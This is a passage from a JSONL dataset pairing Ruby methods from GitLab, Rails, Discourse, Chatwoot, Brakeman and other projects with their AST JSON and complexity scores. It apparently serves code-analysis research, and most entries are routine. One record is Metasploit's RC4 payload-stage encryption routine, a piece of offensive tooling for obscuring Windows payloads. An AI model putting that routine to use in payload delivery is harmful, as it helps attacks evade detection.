exist.\"]}]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"GithubImport|You are not allowed to import projects in this namespace.\"]}]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]},null]}]}]}]}","id":"285403a7-fb5b-4e27-8279-38f3e1377110"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/base_item_move_service.rb","start_line":114,"raw_source":"def move_between_ids(move_params)\n ids = [move_params[:move_before_id], move_params[:move_after_id]]\n .map(&:to_i)\n .map { |m| m > 0 ? m : nil }\n\n ids.any? ? ids : nil\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"move_between_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"move_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"move_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"move_before_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"move_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"move_after_id\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"m\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"any?\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"ee1a92d5-c9e1-4883-b803-aee58138afed"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/cves.rb","start_line":20,"raw_source":"def test_CVE_2015_3226_4_1_1\n before_rescan_of \"Gemfile\", \"rails4\" do\n replace \"Gemfile\", \"4.0.0\", \"4.1.1\"\n end\n\n assert_version \"4.1.1\"\n assert_warning :type => :warning,\n :warning_code => 87,\n :fingerprint => \"6c2281400c467a0100bcedeb122bc2cb024d09e538e18f4c7328c3569fff6754\",\n :warning_type => \"Cross-Site Scripting\",\n :line => 4,\n :message => /^Rails\\ 4\\.1\\.1\\ does\\ not\\ encode\\ JSON\\ keys\\ \\(C/,\n :confidence => 0,\n :relative_path => \"Gemfile\",\n :user_input => nil\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_CVE_2015_3226_4_1_1\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_rescan_of\",{\"type\":\"str\",\"children\":[\"Gemfile\"]},{\"type\":\"str\",\"children\":[\"rails4\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"replace\",{\"type\":\"str\",\"children\":[\"Gemfile\"]},{\"type\":\"str\",\"children\":[\"4.0.0\"]},{\"type\":\"str\",\"children\":[\"4.1.1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_version\",{\"type\":\"str\",\"children\":[\"4.1.1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[87]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"6c2281400c467a0100bcedeb122bc2cb024d09e538e18f4c7328c3569fff6754\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Rails\\\\ 4\\\\.1\\\\.1\\\\ does\\\\ not\\\\ encode\\\\ JSON\\\\ keys\\\\ \\\\(C\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"Gemfile\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"f4c4b556-112c-4495-9ecc-39bf19cfea75"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/stage.rb","start_line":166,"raw_source":"def update_legacy_status\n set_status(latest_stage_status.to_s)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_legacy_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"set_status\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"latest_stage_status\"]},\"to_s\"]}]}]}","id":"dd5b735f-f998-4402-be25-1bcc240f50b3"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":2652,"raw_source":"def test_form_for_with_namespace_with_date_select\n form_for(@post, namespace: \"namespace\") do |f|\n concat f.date_select(:written_on)\n end\n\n assert_select \"select#namespace_post_written_on_1i\"\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_for_with_namespace_with_date_select\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"ivar\",\"children\":[\"@post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"str\",\"children\":[\"namespace\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"date_select\",{\"type\":\"sym\",\"children\":[\"written_on\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_select\",{\"type\":\"str\",\"children\":[\"select#namespace_post_written_on_1i\"]}]}]}]}","id":"a1bc900f-ba23-48cb-95dd-f273f42cf8e6"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/post_creator.rb","start_line":502,"raw_source":"def update_topic_stats\n attrs = { updated_at: Time.now }\n\n if @post.post_type != Post.types[:whisper] && !@opts[:silent]\n attrs[:last_posted_at] = @post.created_at\n attrs[:last_post_user_id] = @post.user_id\n attrs[:word_count] = (@topic.word_count || 0) + @post.word_count\n attrs[:excerpt] = @post.excerpt_for_topic if new_topic?\n attrs[:bumped_at] = @post.created_at unless @post.no_bump\n end\n\n @topic.update_columns(attrs)\n end","complexity_score":34.1,"ast_json":"{\"type\":\"def\",\"children\":[\"update_topic_stats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"post_type\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"whisper\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"silent\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"last_posted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"created_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"last_post_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"word_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"word_count\"]},{\"type\":\"int\",\"children\":[0]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"word_count\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_topic?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"excerpt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"excerpt_for_topic\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"no_bump\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"bumped_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"created_at\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"update_columns\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]}","id":"7cefa1aa-bbf5-46a1-8e16-ce885c3cce0a"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/common/filters.rb","start_line":133,"raw_source":"def set_toggle_filter(values)\n should_active = values.first == \"yes\"\n is_active = page.has_selector? '[data-test-selector=\"spot-switch-handle\"][data-qa-active]'\n\n if should_active != is_active\n page.find('[data-test-selector=\"spot-switch-handle\"]').click\n end\n\n if should_active\n expect(page).to have_css('[data-test-selector=\"spot-switch-handle\"][data-qa-active]')\n else\n expect(page).to have_css('[data-test-selector=\"spot-switch-handle\"]:not([data-qa-active])')\n end\n end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"set_toggle_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"should_active\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"first\"]},\"==\",{\"type\":\"str\",\"children\":[\"yes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"is_active\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_selector?\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"spot-switch-handle\\\"][data-qa-active]\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"should_active\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"is_active\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"spot-switch-handle\\\"]\"]}]},\"click\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"should_active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"spot-switch-handle\\\"][data-qa-active]\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"spot-switch-handle\\\"]:not([data-qa-active])\"]}]}]}]}]}]}","id":"dca10311-e10c-43b6-af2b-115666a5da20"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/fixtures.rb","start_line":754,"raw_source":"def model_class=(class_name)\n if class_name.is_a?(Class) # TODO: Should be an AR::Base type class, or any?\n @model_class = class_name\n else\n @model_class = class_name.safe_constantize if class_name\n end\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"model_class=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Class\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@model_class\",{\"type\":\"lvar\",\"children\":[\"class_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]},{\"type\":\"ivasgn\",\"children\":[\"@model_class\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]},\"safe_constantize\"]}]},null]}]}]}","id":"9c7814d0-ec22-46fb-bee2-35792850ecdf"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/check_ruby_syntax.rb","start_line":24,"raw_source":"def run\n ruby_files.filter_map do |file|\n check_ruby(file)\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ruby_files\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[null,\"check_ruby\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}","id":"dd6b7ffe-bfaa-4723-b47f-494b494d90ed"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/themes.rb","start_line":80,"raw_source":"def default\n by_id(default_id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"by_id\",{\"type\":\"send\",\"children\":[null,\"default_id\"]}]}]}","id":"e9af8b6e-52a0-4d78-9541-30d54e1795e6"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/admin/type_configuration_form.rb","start_line":46,"raw_source":"def add_table_button\n page.find \"button\", text: I18n.t(\"js.admin.type_form.add_table\")\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_table_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.admin.type_form.add_table\"]}]}]}]}]}]}","id":"645ec85f-a8e1-48e3-a769-8b8b99c581c5"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/instagram/messenger/message_text.rb","start_line":20,"raw_source":"def handle_authentication_error(error)\n @inbox.channel.authorization_error!\n Rails.logger.warn(\"Authorization error for account #{@inbox.account_id} for inbox #{@inbox.id}\")\n ChatwootExceptionTracker.new(error, account: @inbox.account).capture_exception\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_authentication_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"channel\"]},\"authorization_error!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization error for account \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"account_id\"]}]},{\"type\":\"str\",\"children\":[\" for inbox \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChatwootExceptionTracker\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"account\"]}]}]}]},\"capture_exception\"]}]}]}","id":"e5ce63fd-6634-4a0e-afaf-1fc395b87f43"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations/callbacks.rb","start_line":124,"raw_source":"def run_validations!\n _run_validation_callbacks { super }\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_validations!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_run_validation_callbacks\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"a2172855-02aa-4f6c-bb3f-c73ccb2d1b28"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240708121845_remove_idx_project_statistics_packages_size_and_project_id_sync.rb","start_line":10,"raw_source":"def up\n return unless should_run?\n\n remove_concurrent_index_by_name :project_statistics, name: INDEX_NAME\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_run?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"project_statistics\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}]}]}","id":"d64e1381-7df8-4af0-b13e-bef51150462a"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/controllers/chat/api/channels_drafts_controller.rb","start_line":4,"raw_source":"def create\n Chat::UpsertDraft.call(service_params) do\n on_success { render(json: success_json) }\n on_failure { render(json: failed_json, status: :unprocessable_entity) }\n on_model_not_found(:channel) { raise Discourse::NotFound }\n on_failed_contract do |contract|\n render(json: failed_json.merge(errors: contract.errors.full_messages), status: :bad_request)\n end\n end\n end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"UpsertDraft\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"service_params\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_success\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_model_not_found\",{\"type\":\"sym\",\"children\":[\"channel\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_contract\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contract\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract\"]},\"errors\"]},\"full_messages\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]}]}]}]}","id":"eb834015-80c6-46d8-bfd4-38d5dcfa7b4a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/organizations/application_controller.rb","start_line":35,"raw_source":"def authorize_read_organization_user!\n access_denied! unless can?(current_user, :read_organization_user, organization)\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_read_organization_user!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_organization_user\"]},{\"type\":\"send\",\"children\":[null,\"organization\"]}]},null,{\"type\":\"send\",\"children\":[null,\"access_denied!\"]}]}]}","id":"0743fa95-e821-4085-b773-448acad42345"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/x64/rc4_x64.rb","start_line":73,"raw_source":"def generate_stage(opts = {})\n p = super(opts)\n xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])\n c1 = OpenSSL::Cipher.new('RC4')\n c1.decrypt\n c1.key = rc4key\n p = c1.update(p)\n [ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p\n end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_stage\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xorkey\"]},{\"type\":\"lvasgn\",\"children\":[\"rc4key\"]}]},{\"type\":\"send\",\"children\":[null,\"rc4_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RC4PASSWORD\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"c1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"new\",{\"type\":\"str\",\"children\":[\"RC4\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c1\"]},\"decrypt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c1\"]},\"key=\",{\"type\":\"lvar\",\"children\":[\"rc4key\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c1\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"length\"]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xorkey\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}","id":"28d46fff-960a-4971-9feb-582acb918f8c"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/listeners/reporting_event_listener.rb","start_line":25,"raw_source":"def first_reply_created(event)\n message = extract_message_and_account(event)[0]\n conversation = message.conversation\n first_response_time = message.created_at.to_i - last_non_human_activity(conversation).to_i\n\n reporting_event = ReportingEvent.new(\n name: 'first_response',\n value: first_response_time,\n value_in_business_hours: business_hours(conversation.inbox, last_non_human_activity(conversation),\n message.created_at),\n account_id: conversation.account_id,\n inbox_id: conversation.inbox_id,\n user_id: message.sender_id,\n conversation_id: conversation.id,\n event_start_time: last_non_human_activity(conversation),\n event_end_time: message.created_at\n )\n\n reporting_event.save!\n end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"first_reply_created\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_message_and_account\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conversation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"conversation\"]}]},{\"type\":\"lvasgn\",\"children\":[\"first_response_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"created_at\"]},\"to_i\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last_non_human_activity\",{\"type\":\"lvar\",\"children\":[\"conversation\"]}]},\"to_i\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reporting_event\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReportingEvent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"first_response\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"first_response_time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value_in_business_hours\"]},{\"type\":\"send\",\"children\":[null,\"business_hours\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"inbox\"]},{\"type\":\"send\",\"children\":[null,\"last_non_human_activity\",{\"type\":\"lvar\",\"children\":[\"conversation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"created_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"account_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",